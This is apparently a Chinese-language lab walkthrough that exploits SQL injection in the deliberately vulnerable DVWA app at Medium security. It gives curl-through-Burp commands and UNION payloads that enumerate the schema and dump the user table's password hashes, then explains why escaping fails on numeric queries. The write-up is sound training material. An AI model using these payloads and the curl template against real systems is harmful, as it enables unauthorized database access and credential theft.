Medium 的变化
DVWA Medium 相比 Low 加了三道防线:
| 防线 | Low | Medium | 有效吗 |
|---|---|---|---|
| 输入方式 | 文本框 | 下拉菜单(1-5) | ⚠️ 前端限制,可绕过 |
| 请求方式 | GET | POST | ⚠️ 换种发请求的方式 |
| 后端过滤 | 无 | mysqli_real_escape_string() 转义 ' |
❌ 数字型没有引号可转 |
关键发现:Medium 后端 SQL 是数字型——WHERE user_id = 1,没有单引号包裹参数。
绕过下拉菜单:curl + Burp Suite 代理
环境
Kali Firefox → Burp Suite (127.0.0.1:8081) → DVWA (127.0.0.1:8080)
SSH 隧道:Kali 8080 → mycvm 127.0.0.1:8080(DVWA 容器)
Burp 代理:Kali 8081 → 截获/修改请求 → 转发到 8080
Burp Suite 配置
- Kali 桌面搜
burp→ Burp Suite Community → Temporary project → Use Burp defaults → Start - Proxy → Options → Proxy Listeners → 确认/添加
127.0.0.1:8081 - Firefox → Settings → Network Settings → Manual proxy →
127.0.0.1:8081→ 勾选 “Also use this proxy for HTTPS”
用 curl 绕过下拉菜单
DVWA Medium 的 SQL Injection 使用 POST 请求。curl 直接发 POST,不受前端下拉菜单限制:
curl -s -x http://127.0.0.1:8081 \
"http://127.0.0.1:8080/vulnerabilities/sqli/" \
-b "PHPSESSID=xxx; security=medium" \
-d "id=1&Submit=Submit"
其中 -x 指定 Burp 代理,-b 携带登录 cookie,-d 是 POST 数据体。
注入流程
第一步:确认注入点 — 1 or 1=1
Medium 是数字型,不需要闭合引号。直接测试:
输入:id=1 or 1=1
curl -s -x http://127.0.0.1:8081 \
"http://127.0.0.1:8080/vulnerabilities/sqli/" \
-b "PHPSESSID=xxx; security=medium" \
-d "id=1 or 1=1&Submit=Submit" | grep -oP '<pre>.*?</pre>'
返回:全部五个用户(admin、Gordon、Hack、Pablo、Bob)。注入成功。
mysqli_real_escape_string()转义的是',但数字型 SQL 根本没有引号—— 防御完全打在空气上。
第二步:猜列数 — ORDER BY
id=1 order by 2 → 正常
id=1 order by 3 → Unknown column '3' in 'order clause'
列数 = 2。
第三步:确认显示位置
id=1 union select 1,2
返回:
First name: admin Surname: admin ← 原始查询
First name: 1 Surname: 2 ← 注入数据显示在两列
第四步:查库名
id=1 union select database(),2
返回:First name: dvwa
第五步:查表名
id=1 union select group_concat(table_name),2
from information_schema.tables
where table_schema=database()
返回:First name: guestbook,users
第六步:脱裤
id=1 union select user,password from users
user | password
─────────┼──────────────────────────────────
admin | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb | e99a18c428cb38d5f260853678922e03
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy | 5f4dcc3b5aa765d61d8327deb882cf99
curl 命令逐字拆解
Medium 的每条 curl 命令结构都是一样的。以查库名那条为例:
curl -s -x http://127.0.0.1:8081 \
"http://127.0.0.1:8080/vulnerabilities/sqli/" \
-b "PHPSESSID=xxx; security=medium" \
-d "id=1 union select database(),2&Submit=Submit"
参数逐个拆
| 参数 | 含义 | 为什么需要 |
|---|---|---|
curl |
命令行 HTTP 客户端 | 用它在终端发请求,不需要浏览器 |
-s |
silent,安静模式 | 不显示进度条,只显示响应内容 |
-x http://127.0.0.1:8081 |
proxy,走代理 | 请求经过 Burp Suite(8081),Burp 记录流量后转发给 DVWA(8080) |
"http://127.0.0.1:8080/vulnerabilities/sqli/" |
目标 URL | DVWA SQL 注入页面的地址 |
-b "PHPSESSID=xxx; security=medium" |
cookie | 证明"我已经登录了,安全等级是 Medium"(详见下一节) |
-d "id=1...&Submit=Submit" |
data,POST 请求体 | Medium 用 POST 接收参数。id= 是注入点,Submit=Submit 是提交按钮的名字 |
-d 参数的来源
DVWA Medium 页面提交时,浏览器实际发送的是一个 POST 请求,请求体格式是:
id=1&Submit=Submit
id=1 是用户输入的值,Submit=Submit 是表单按钮的键值对。-d 就是模拟这个 POST 请求体。& 分隔多个参数,跟 URL 里的 ?a=1&b=2 一个道理,只不过 POST 把参数放在请求体内而不是 URL 后面。
把这个命令翻译成人话
curl,安静地,通过 8081 端口的 Burp 代理,向 127.0.0.1:8080 的 DVWA SQL 注入页面发一个 POST 请求,带上"已登录、安全等级 Medium"的 cookie,POST 数据体里放我的注入 payload。
每条注入命令只改 -d 里的 id= 后面的内容
# 探测注入点
-d "id=1 or 1=1&Submit=Submit"
# 猜列数
-d "id=1 order by 2&Submit=Submit"
# 确认显示位置
-d "id=1 union select 1,2&Submit=Submit"
# 查库名
-d "id=1 union select database(),2&Submit=Submit"
# 查表名
-d "id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()&Submit=Submit"
# 脱裤
-d "id=1 union select user,password from users&Submit=Submit"
模板固定,只要改 id= 后面的 SQL 片段即可。 考试和实战中用脚本自动化时也是这样——循环改 id= 的值,curl 模板不变。
Cookie 是什么
HTTP 本身是无状态的——服务器不记得"上一个请求是谁发的"。每次请求都是新的。
没有 Cookie 的世界
请求 1:curl http://dvwa/ → 登录页面
请求 2:curl http://dvwa/ → 还是登录页面(服务器不认识你,因为你没带任何身份信息)
有了 Cookie
请求 1:登录 → 服务器验证账号密码正确 → 服务器生成一个随机串 PHPSESSID=09js6r...
→ 把这个串返回给浏览器
请求 2:浏览器请求 http://dvwa/sqli/ → 自动在请求头里带上 Cookie: PHPSESSID=09js6r...
→ 服务器看到这个 cookie → "哦,是你,已经登录了" → 返回数据
Cookie = 服务器发给你的"临时身份证"。 后续每个请求你都把这个证带在身上,服务器就认识你。
DVWA 需要两个 cookie
我们用 -b 带了两个:
| cookie | 值 | 含义 |
|---|---|---|
PHPSESSID |
09js6r8eeo4js3jpal9evjnd06 |
会话 ID——证明"我已经登录了"。登录后服务器分配,30 分钟不活动会失效。 |
security |
medium |
安全等级——告诉 DVWA"我选了 Medium"。没有这个的话,即使你带对了 PHPSESSID,SQL 注入页面可能按 Low 等级处理。 |
怎么拿到这两个 cookie 的值
在 Firefox 里登录 DVWA、把 Security 调成 Medium 后,F12 → Storage → Cookies → http://127.0.0.1:8080 → 直接看到所有 cookie 的名字和值。复制到 curl 的 -b 参数里就行。
PHPSESSID 每次登录会变——下次失效时重新在 F12 里复制。
如果你不用 -b 带 cookie
curl http://127.0.0.1:8080/vulnerabilities/sqli/ -d "id=1&Submit=Submit"
# 服务器:你是谁?没登录 → 返回 302 重定向 → 跳转到登录页
# 你看不到任何数据
Low vs Medium 对比
| Low(1) | Medium(2) | |
|---|---|---|
| 注入类型 | 字符型 | 数字型 |
| 后端 SQL | WHERE user_id = '1' |
WHERE user_id = 1 |
| 需要闭合引号 | ✅ 1' ... # |
❌ 不需要 |
| 需要注释符 | ✅ # 吞后引号 |
❌ 没有后引号可吞 |
| 防御手段 | 无 | mysqli_real_escape_string() → 对数字型无效 |
| 前端限制 | 无 | 下拉菜单 → curl 绕过 |
| 请求方式 | GET | POST → curl -d 参数 |
| Payload | 1' or '1'='1' # |
1 or 1=1 |
核心教训
mysqli_real_escape_string() 只对字符型查询有效。 如果后端 SQL 没有用引号包裹参数(数字型),转义函数形同虚设。一条经验法则:先判断注入类型——数字型不需要 ',绕过转义的复杂度直接降为零。
为什么不用 Burp Intercept 直接改请求
Firefox 对 127.0.0.1 默认不经过代理,且 Intercept 模式会截住所有请求(包括 Firefox 后台服务),干扰大。curl + Burp 代理模式更干净——不拦截请求,只让 Burp 充当"旁观记录"的角色,curl 充当"发请求的手"。Burp 的 HTTP History 标签可以查看所有请求/响应。
上一篇:SQL 注入 Low(1)
下一篇:DVWA High — 更复杂的过滤与绕过